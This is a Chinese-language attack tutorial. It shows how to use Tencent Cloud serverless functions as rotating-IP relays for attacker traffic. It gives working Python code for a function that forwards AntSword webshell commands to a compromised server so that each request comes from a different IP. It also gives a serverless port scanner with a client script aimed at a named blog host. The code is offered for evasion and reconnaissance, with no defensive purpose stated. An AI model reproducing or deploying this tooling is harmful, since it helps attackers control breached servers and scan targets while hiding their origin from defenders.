0x01 创建云函数
在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建
然后选择自定义创建,运行环境选择python3.6,函数名随意,地域则随便选一个即可,会随机分配该地域下的IP作为我们的出口IP地址
0x02 连接Webshell
函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel
#!/usr/bin/env
# -*- coding:utf-8 -*-
import requests
import json
from urllib.parse import urlsplit
def geturl(urlstr):
jurlstr = json.dumps(urlstr)
dict_url = json.loads(jurlstr)
return dict_url['url']
def main_handler(event, context):
url = geturl(event['queryString'])
host = urlsplit(url).netloc
postdata = event['body']
headers = event['headers']
headers["HOST"] = host
resp = requests.post(url, data=postdata, headers=headers, verify=False)
response = {
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset=' + resp.apparent_encoding},
"body": resp.text
}
return response
配置好云函数代码后,继续进入 触发管理 选项
触发器配置如图所示,取消勾选集成响应
配置完成
我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址
查看服务器,可以发现请求都是不同的ip地址
0x03 端口扫描实现
云函数代码,其他配置不变
# -*- coding: utf8 -*-
from socket import *
def main_handler(event, context):
host=event["queryString"]["host"]
port=event["queryString"]["port"]
try:
conn=socket(2,1)
conn.settimeout(1.5) #超时时间
res=conn.connect_ex((str(host),int(port)))
if res==0:
conn.close()
return 'open'
except Exception as err:
print(err)
conn.close()
return 'close'
客户端代码如下:
import requests
def main():
portList=[22,21,80,443,3306,3389]
host='blog.mo60.cn'
serverless='https://tencentcs.com/release/helloworld'
for port in portList:
tmp=f'{serverless}?host={host}&port={port}'
r=requests.get(tmp,timeout=3)
if r.text =='"open"':
print(f'[+]{port}-open')
if __name__=="__main__":
main()
运行效果如下
0x04 参考
https://www.secpulse.com/archives/168359.html
https://xz.aliyun.com/t/10612